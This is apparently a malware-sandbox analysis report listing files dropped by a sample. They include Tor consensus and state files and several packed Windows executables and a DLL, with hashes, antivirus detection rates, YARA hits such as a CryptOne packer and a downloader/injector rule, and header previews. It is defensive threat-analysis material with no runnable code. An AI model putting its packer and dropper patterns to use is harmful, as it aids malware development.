Preview:	dir-key-certificate-version 3..fingerprint D586D18309DED4CD6D57C18FDB97EFA96D330566..dir-key-published 2022-11-10 23:21:36..dir-key-expires 2023-11-10 23:21:36..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAvi5+A+XPw4jxMYhmEI4+MpnaX3dUEbsMGHA+xAMnmVhuxbm3Dn5c..TyhQNY2LOlsieE84UYG+J4dABfaFH4w0l6zUJkuytX4+6WRQontw9puR/IcXkRwM..8Tv/tY675OYRCm9DgDAWfqZM0IgTzSrYRDl8eFPSFCOP0NhMrQZeUrdKgwAXVZWP..xt9nTCwT4K9BMp47LEmZKdEokeVsr0l29Z9v5+r24k9x8EQjDexsoHwlVrxWfarG..1klWssfSFpkMN+FkTQnBC6ByiBh5ZKM5AC/HkVFvuHjehUpfrtNk6XNFcKbDvEIg..qPdg1QWuuSWpZVA+/EwSBtwMNcq9pv60L8Cm9WCJoSC691WByiGwFCy1/XcBI4J/..BkoMEvP3kAxzm92jqGbpFSJawFRPZKy89FDKpha/So3CERQPV0ar+DTpVqDlryWV..N4x1IzpPeSHFj7T74q8qdrxx0wcAjWJ9WYoGQif6FK3hHcmbSGSgyvAFeoYxyUCL..JHkjBCD4WTWVAgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEA2Vt7oP9P+yEV+zzaH40/j5PTsRb1Pyyzd6P3PLKObM6Wil/ZvcBF..XB7KDIO/bsL6/K1ZqQwn4zVaLQndNWNN2eXGWZ6F2l3h2nK4MbIMTYs1iiDgtDbe..zYYlGGJXbmD/iju0NaXwtnqstwZl

C:\Users\user\AppData\Local\Temp\4KPV6A~1\cached-microdesc-consensus (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2774099
Entropy (8bit):	5.611763634054819
Encrypted:	false
SSDEEP:	12288:XoGc6PZ4oPMGv604OGFEiek6nzl+Yek3S/rEG8Y7XlRxx7RX5:Xrc8jS0JgV6z3SoHqVN77
MD5:	84D67C76A313E668B6C86830A2ADA8E3
SHA1:	93AF6328E79873726633B2950AE6576E1ABBDEEB
SHA-256:	DB2712C5F173A8B70ED15056D37C81A76DD03E406229D953E312B91CE47E39DC
SHA-512:	78261A994115B62D341AAF53FDB35FC1908D13468912F8A331B85D1E8807FD14BB4ADAEC24820D58C2FE9801F22E39F08A7CC10B8D113368473F504D42E937A4
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-02-05 09:00:00.fresh-until 2024-02-05 10:00:00.valid-until 2024-02-05 12:00:00.voting-delay 300 300.client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPriorit

C:\Users\user\AppData\Local\Temp\4KPV6A~1\state (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (349), with CRLF line terminators
Category:	dropped
Size (bytes):	4516
Entropy (8bit):	5.30256741957474
Encrypted:	false
SSDEEP:	96:4qblvvmBbo/E7GwP6e9KIxOPv2GHXU68E2rikjT7Ae:ZHMbqwPh9KmOnatN
MD5:	CCE69EEDC5FACBE90A54E15339E6BD43
SHA1:	F57EF958B2C899CFA2D11B114DB9DD8EC148F91E
SHA-256:	F260F2F61155EC1DA62FBE3D8B19191DC13CF826F1CBFB9B8AC6B4E56C414677
SHA-512:	3A0AB21FDE6D6E94D157CC548A58832F08F98E5DACDAEA666AAD8ADF28C28E7BC22822701B365799049CE5FDF9B2D28328A0BDFF349B1D7DCA4CE2BBDF6C93FC
Malicious:	false
Preview:	# Tor state file last generated on 2024-02-05 11:21:51 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 975 1..CircuitBuildTimeBin 2425 1..CircuitBuildTimeBin 4775 1..CircuitBuildTimeBin 8275 1..CircuitBuildTimeBin 11725 1..CircuitBuildTimeBin 12075 1..CircuitBuildTimeBin 28225 3..CircuitBuildTimeBin 28425 1..Dormant 0..Guard in=default rsa_id=62AFE393020CC3AA3AA30CA78902F5D40E760926 nickname=privator sampled_on=2024-01-29T00:27:50 sampled_idx=0 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=E2E12B9C1DAEF45F3448BCE72CD28C382A9D5AD7 nickname=DaSoocha sampled_on=2024-01-27T09:50:49 sampled_idx=1 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=A49493CB471F64EBD5EA981A956B1718EAC8B286 nickname=bilgewater sampled_on=2024-01-28T10:19:59 sampled_idx=2 sampled_by=0.4.4.9 listed=1 confirmed_on=2024-01-30T09:54:23 confirmed_idx=2 pb_use_attempts=1.000000 pb_use_successes=1.000000 pb_circ_attempts=7.000000 pb_circ_successes=7.000

C:\Users\user\AppData\Local\Temp\4KPV6A~1\unverified-microdesc-consensus (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2774099
Entropy (8bit):	5.611763634054819
Encrypted:	false
SSDEEP:	12288:XoGc6PZ4oPMGv604OGFEiek6nzl+Yek3S/rEG8Y7XlRxx7RX5:Xrc8jS0JgV6z3SoHqVN77
MD5:	84D67C76A313E668B6C86830A2ADA8E3
SHA1:	93AF6328E79873726633B2950AE6576E1ABBDEEB
SHA-256:	DB2712C5F173A8B70ED15056D37C81A76DD03E406229D953E312B91CE47E39DC
SHA-512:	78261A994115B62D341AAF53FDB35FC1908D13468912F8A331B85D1E8807FD14BB4ADAEC24820D58C2FE9801F22E39F08A7CC10B8D113368473F504D42E937A4
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-02-05 09:00:00.fresh-until 2024-02-05 10:00:00.valid-until 2024-02-05 12:00:00.voting-delay 300 300.client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPriorit

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-certs.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.05147791645295
Encrypted:	false
SSDEEP:	384:eea4igBVA1hrqyd24ZFtVf1hc1x2h4YVc1h1f/40VVq1h8PXtyd4AW9V9hC1hIhF:7a9gBSy62M1ux6xyhHJiO9yrqvUgb+3Q
MD5:	714A54B80905C86C83C3209F2ACDDD9E
SHA1:	73F113F793CD06CA6561C4D8648B247695B7C3E0
SHA-256:	9CF5E6B55F14280CAB030D9D853FB10D0F72D845A5F5886679D554A96CF8C05B
SHA-512:	B1284BE6D8ACC71CD38B9AAD4E4FB435838280BDE86A4F458A3B828D6221029C443BC53DACA01EA93806BDC57637545AB945E774BE44537874C8398F01AAF432
Malicious:	false
Preview:	dir-key-certificate-version 3..fingerprint D586D18309DED4CD6D57C18FDB97EFA96D330566..dir-key-published 2022-11-10 23:21:36..dir-key-expires 2023-11-10 23:21:36..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAvi5+A+XPw4jxMYhmEI4+MpnaX3dUEbsMGHA+xAMnmVhuxbm3Dn5c..TyhQNY2LOlsieE84UYG+J4dABfaFH4w0l6zUJkuytX4+6WRQontw9puR/IcXkRwM..8Tv/tY675OYRCm9DgDAWfqZM0IgTzSrYRDl8eFPSFCOP0NhMrQZeUrdKgwAXVZWP..xt9nTCwT4K9BMp47LEmZKdEokeVsr0l29Z9v5+r24k9x8EQjDexsoHwlVrxWfarG..1klWssfSFpkMN+FkTQnBC6ByiBh5ZKM5AC/HkVFvuHjehUpfrtNk6XNFcKbDvEIg..qPdg1QWuuSWpZVA+/EwSBtwMNcq9pv60L8Cm9WCJoSC691WByiGwFCy1/XcBI4J/..BkoMEvP3kAxzm92jqGbpFSJawFRPZKy89FDKpha/So3CERQPV0ar+DTpVqDlryWV..N4x1IzpPeSHFj7T74q8qdrxx0wcAjWJ9WYoGQif6FK3hHcmbSGSgyvAFeoYxyUCL..JHkjBCD4WTWVAgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEA2Vt7oP9P+yEV+zzaH40/j5PTsRb1Pyyzd6P3PLKObM6Wil/ZvcBF..XB7KDIO/bsL6/K1ZqQwn4zVaLQndNWNN2eXGWZ6F2l3h2nK4MbIMTYs1iiDgtDbe..zYYlGGJXbmD/iju0NaXwtnqstwZl

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2774099
Entropy (8bit):	5.611763634054819
Encrypted:	false
SSDEEP:	12288:XoGc6PZ4oPMGv604OGFEiek6nzl+Yek3S/rEG8Y7XlRxx7RX5:Xrc8jS0JgV6z3SoHqVN77
MD5:	84D67C76A313E668B6C86830A2ADA8E3
SHA1:	93AF6328E79873726633B2950AE6576E1ABBDEEB
SHA-256:	DB2712C5F173A8B70ED15056D37C81A76DD03E406229D953E312B91CE47E39DC
SHA-512:	78261A994115B62D341AAF53FDB35FC1908D13468912F8A331B85D1E8807FD14BB4ADAEC24820D58C2FE9801F22E39F08A7CC10B8D113368473F504D42E937A4
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-02-05 09:00:00.fresh-until 2024-02-05 10:00:00.valid-until 2024-02-05 12:00:00.voting-delay 300 300.client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPriorit

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdescs.new

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (15714)
Category:	dropped
Size (bytes):	20829036
Entropy (8bit):	4.830716614221873
Encrypted:	false
SSDEEP:	24576:uAXM/VMjf2TUylZpcycaNbbvVILDHaAXm2mdd+cJlt1JUYLtuDxvzeQBRiAXkBOX:Evd98Ro1DAjhgHoBknu8QXKMTg3jFe+k
MD5:	750A5CCD450C8DFFC972894A32823E9A
SHA1:	DD77CA579E592F07E7B3185808AD7DD2C092EE69
SHA-256:	6F5CF4AD8E5BE89336AE6EB5575D2A7E5B1F7AFAFEE85E2D925A7AA6FBA8B65B
SHA-512:	8EDAF54987AB8BC56442217916026261347AB879F00802DEE55FD3DD759C9FD9E9395B51C4F68CFDA7CF4D345222CF599C6AEE283588AD359DB025B5D372561F
Malicious:	false
Preview:	@last-listed 2024-02-05 10:10:27.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBAOF/4+AtTuNwx9za9BvZJ4NxWLMSUUpRwjMOOBa8JgQxFoILY7ZjHnGh.yOsClv6eHXMdQO9Fo+SCFR3YZtd8tLKGeqg2V0w24mdVnjKLnPsCqrrFgGIsIu0L.REllCdCSwyPDm1m+4x1tCukJAudNno2TYxy5u76nHpTo8xBqsDKrAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key QAUI4+sPBi4X1KRHA+TPWar8rqy0R+Bf+0k319en2Tk.id ed25519 WouE9SrvvBXI0SSb22WKFNYcjPBV0HiBwVwXNdOm3Gw.@last-listed 2024-02-05 10:10:27.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBAMxPzmjh4ptjAGWqd9mNl2D3qNAgbl5gUgKY6+JKdQoysxDqawb+UBeZ.0XSpuNsZSBXspmpF6xKz7/NDbeQCsjnDsTB3Mgfv3mzNbefmBJWnnQ4NqdbVtmJN.jtr+tz+9cvyhmMc6BnCBtfHOkN4cvjAz0UE/7sZgrEXhuw6HT8CzAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key AEC3sHT49S9BqvRm/7UqxVPmD6iBZ54pLTml0iP4qTs.id ed25519 gLhy5xHO+O5TVHl9UrArWxjsLJhl50JZ/pFe3Jxl0iY.@last-listed 2024-02-05 10:10:27.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBANWMg3S9mgZcx8Ia0rgA9SWTimTRr1cNX/9jBobWwnkM7cHr87SPlQRe.yLbyJJo/1XuNbSC9YmRmznqhMOV3GPXSk6ciGXclyfF5t

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (349), with CRLF line terminators
Category:	modified
Size (bytes):	4516
Entropy (8bit):	5.30256741957474
Encrypted:	false
SSDEEP:	96:4qblvvmBbo/E7GwP6e9KIxOPv2GHXU68E2rikjT7Ae:ZHMbqwPh9KmOnatN
MD5:	CCE69EEDC5FACBE90A54E15339E6BD43
SHA1:	F57EF958B2C899CFA2D11B114DB9DD8EC148F91E
SHA-256:	F260F2F61155EC1DA62FBE3D8B19191DC13CF826F1CBFB9B8AC6B4E56C414677
SHA-512:	3A0AB21FDE6D6E94D157CC548A58832F08F98E5DACDAEA666AAD8ADF28C28E7BC22822701B365799049CE5FDF9B2D28328A0BDFF349B1D7DCA4CE2BBDF6C93FC
Malicious:	false
Preview:	# Tor state file last generated on 2024-02-05 11:21:51 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 975 1..CircuitBuildTimeBin 2425 1..CircuitBuildTimeBin 4775 1..CircuitBuildTimeBin 8275 1..CircuitBuildTimeBin 11725 1..CircuitBuildTimeBin 12075 1..CircuitBuildTimeBin 28225 3..CircuitBuildTimeBin 28425 1..Dormant 0..Guard in=default rsa_id=62AFE393020CC3AA3AA30CA78902F5D40E760926 nickname=privator sampled_on=2024-01-29T00:27:50 sampled_idx=0 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=E2E12B9C1DAEF45F3448BCE72CD28C382A9D5AD7 nickname=DaSoocha sampled_on=2024-01-27T09:50:49 sampled_idx=1 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=A49493CB471F64EBD5EA981A956B1718EAC8B286 nickname=bilgewater sampled_on=2024-01-28T10:19:59 sampled_idx=2 sampled_by=0.4.4.9 listed=1 confirmed_on=2024-01-30T09:54:23 confirmed_idx=2 pb_use_attempts=1.000000 pb_use_successes=1.000000 pb_circ_attempts=7.000000 pb_circ_successes=7.000

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\unverified-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2774099
Entropy (8bit):	5.611763634054819
Encrypted:	false
SSDEEP:	12288:XoGc6PZ4oPMGv604OGFEiek6nzl+Yek3S/rEG8Y7XlRxx7RX5:Xrc8jS0JgV6z3SoHqVN77
MD5:	84D67C76A313E668B6C86830A2ADA8E3
SHA1:	93AF6328E79873726633B2950AE6576E1ABBDEEB
SHA-256:	DB2712C5F173A8B70ED15056D37C81A76DD03E406229D953E312B91CE47E39DC
SHA-512:	78261A994115B62D341AAF53FDB35FC1908D13468912F8A331B85D1E8807FD14BB4ADAEC24820D58C2FE9801F22E39F08A7CC10B8D113368473F504D42E937A4
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-02-05 09:00:00.fresh-until 2024-02-05 10:00:00.valid-until 2024-02-05 12:00:00.voting-delay 300 300.client-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPriorit

C:\Users\user\AppData\Local\Temp\6C7B.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	431104
Entropy (8bit):	7.865829876036064
Encrypted:	false
SSDEEP:	6144:4phcsngKdHpPXECq6Xz4G/rmnHXekVB9YNeeA23YMd7pMFW54AXIEB93KWZMxEHL:4pasngwHpP5qa4G4eIWsyHd0XKBBXL
MD5:	1996A23C7C764A77CCACF5808FEC23B0
SHA1:	5A7141B167056BF8F01C067EBE12ED4CCC608DC7
SHA-256:	E40C8E14E8CB8A0667026A35E6E281C7A8A02BDF7BC39B53CFE0605E29372888
SHA-512:	430C8B43C2CBB937D2528FA79C754BE1A1B80C95C45C49DBA323E3FE6097A7505FC437DDAFAB54B21D00FBA9300B5FA36555535A6FA2EB656B5AA45CCF942E23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y..Y..Y..3..p..Y..[....[..Y..V....X..RichY..................PE..L......d..........................................@......................................@.........................................................................P...................................................8............................text............................... ..`.rdata... ..........................@..@.data... ....0......................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\742D.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3153920
Entropy (8bit):	7.959928964905053
Encrypted:	false
SSDEEP:	49152:GCBzZaRJG1rK9YqRnfKMgPC98IjD/XV38EJfuAYLjA+ij4fVBhfcj04e:GMze9YqpRaC9hfVHiA+iOkU
MD5:	C8C6F1602DD8831BAA75C8387AB4CE20
SHA1:	30EF801B5221111E1502B7A2E04B67DEE951B1C8
SHA-256:	C6AC0B5D9445ACD86D5464F7F2D663BB6D65C3734145DD5D5235B3096147F787
SHA-512:	FEDDD5172D24C59CD266AC5813C079F6965324DE967D92E111327BBAB6F7FF9AA10C69E1478A40A7FC119323B9F4B17995F9006988D94CEAF012C046A1E074A2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: C:\Users\user\AppData\Local\Temp\742D.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.V.q.8.q.8.q.8.x..j.8.x..~.8.x..(.8.x..t.8.q.9.+.8.q.8.p.8.x..p.8.x..p.8.x..p.8.Richq.8.................PE..L...U].A...........!................ ........B...............................@0.....................................(...........<....0/......................@/.................................................................(....................text...............................gA.`.rdata...\.......`..................@..@.data...............................@...nqb......f.......p..................@....qdata.......0......................@...xcg.....*....@$...... $.............@...HIcf6ht...... %.......%.............@....rsrc........0/......./.............@..@.reloc.......@/...... /.............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7CB9.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5911640
Entropy (8bit):	7.9813751821902255
Encrypted:	false
SSDEEP:	98304:o4Z22tk7CUxDobkYG6sk/ixzpx5ItNoP/JKawK5Ms5bZxpMo:o4ZFUKbY69KJ57nJhwK5Vh5n
MD5:	E88E0FE2BB602D639E5658C42F34AF2F
SHA1:	0F5183B2A40169755EADE4FF45354E8FCC3CF74A
SHA-256:	0BCF297F2808010CD7BD4180329C1F994DAAB75DD6FF543A5360ADB5EB5BB753
SHA-512:	660167D07268CDE0B34D749E4E4C278494CFED3FBF68484AC5A0434E36F3A27EF95D31593976FAFCBC138DDE5B9B7F56879AC77BAE1F73EB3391A9162F5CE15C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...]..e................."...N......Hy............@.......................... ......^KZ...@.....................................d........z............Z.X.......`.....................................................?..............................text....!.......................... ..`.rdata..>....@......................@..@.data.......`......................@....vmp@3...7.. ...................... ..`.vmp@3......?.....................@....vmp@3..yW...@..zW................. ..`.reloc..`.............W.............@..@.rsrc....z.......\|....W.............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\87C6.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1998848
Entropy (8bit):	7.9427880780763775
Encrypted:	false
SSDEEP:	49152:v1r2g+mLqqeaVjSeluJsslFHfjeKgHEaVjsKHzG:drz+OqjXeluJxlFHf6zHj
MD5:	151E9EC4F0355D2F131B871671BD5E20
SHA1:	50992F712B281DB70518E6D404084E26DCD98B98
SHA-256:	A1480E23BD2A89B188FB01138EF2F54130F2DC41CE85FF9319AB7F15471B0011
SHA-512:	18A2FA6E9C97281328DE819126DCCB6CC8576E11EA11A8FABA629DA58E724040427C7D941CE0F935948195C30DA6D60A6873D7E3E9613EBA7DF42BDE1A3ABA1F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U..............~.......~.%.....~...}.....(.........y...~.......~.!.....~.&.....Rich............................PE..L...}N.d............................,........0....@..........................0.......v.......................................\..P....0..0...................................................hW...... W..@............0...............................text............................... ..`.rdata...5...0...6..................@..@.data...D....p..."...T..............@....fofufe.\|............v..............@....tls.................x..............@....safaz....... ......................@....rsrc...0....0......................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\98EE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7668707
Entropy (8bit):	7.999483604771398
Encrypted:	true
SSDEEP:	196608:QBKGhoRYeQ9yHWKNKoLG/Lj31TpOYPHOYhx5ZNyq:C/hoRUcCT/lHzNyq
MD5:	82BEB2A060E63C9C9A26663D0103FAE6
SHA1:	5C6F8FFD78CECC031826600A3E32AB993DB8E97B
SHA-256:	3CBDC920606D1DE26237500736A0A2E7B751513D3BCF815F68B468AE0CC92E8F
SHA-512:	DB9E03E5BBCCC762A4C6A6B34BFC526B9CBA7EB7BB2CD0A2BC160C303BDBCCE756830FC81C4DD1F62187DAB6442AA3E29681F7E518AF0963BE66FC582458D6B7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\BroomSetup.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4979200
Entropy (8bit):	6.419395528077673
Encrypted:	false
SSDEEP:	49152:90oSiZ63YBmS9+rCgpvH8la0ZxRh+caGnj8HEQUhexTUT+1d/2/Tbt:0Ula0cGwXUheabt
MD5:	5E94F0F6265F9E8B2F706F1D46BBD39E
SHA1:	D0189CBA430F5EEA07EFE1AB4F89ADF5AE2453DB
SHA-256:	50A46B3120DA828502EF0CABA15DEFBAD004A3ADB88E6EACF1F9604572E2D503
SHA-512:	473DFA66A36FEED9B29A43245074141478327CE22BA7CCE512599379DCB783B4D665E2D65C5E9750B988C7ED8F6C3349A7A12D4B8B57C89840EEE6CA6E1A30CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...F..^..................9..X.......9.......9...@.......................... N..................@....................<......`<..B...`A.......................<.tk............................<.....................Ll<.......<......................text...8`9......b9................. ..`.itext...;....9..<...f9............. ..`.data.........9.......9.............@....bss....`.....:..........................idata...B...`<..D...\|:.............@....didata.......<.......:.............@....edata........<.......:.............@..@.tls....L.....<..........................rdata..].....<.......:.............@..@.reloc..tk....<..l....:.............@..B.rsrc........`A......<?.............@..@............. N.......K.............@..@................

C:\Users\user\AppData\Local\Temp\C33B.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9104384
Entropy (8bit):	7.9258891229768595
Encrypted:	false
SSDEEP:	196608:drdPa3Pl8j7Ke1k6N25U0agbrT6NZ+t0ZGhsYN6mQwclTm2:d5P08KeDQtSb+t0ZEJQwcTm
MD5:	CEAE65EE17FF158877706EDFE2171501
SHA1:	B1F807080DA9C25393C85F5D57105090F5629500
SHA-256:	0DAC8A3FE3C63611B49DB21B2756B781CC4C9117C64007E0C23E6D3E7CA9EE49
SHA-512:	5214FEBFAB691B53CA132E75E217E82A77E438250695D521DBF6BC1770D828F2E79A0070FD746A73E29ACC11BF9A62CEAFB1CF85547C7C0178D49A740FF9AE7B
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\C33B.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e................................ ... ....@.. .......................`............@.................................`...K.... ..@....................@....................................................... ............... ..H............text........ ..................... ..`.rsrc...@.... .....................@..@.reloc.......@.....................@..B........................H.......................'..............................................0.._.......~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.~.... ....Z(....~....,.r...pr...p.(....&..8....~.....o.....~.....o.....~.....o.....~.....o.......(......~....,...(......~....r...p(....,.(....r...po......(......+)~....r1..p(....,...(....r...po....(..........(....(..........(.......(......X..~....o....?....~....&*..0../........s.....s.......s.......o.......,

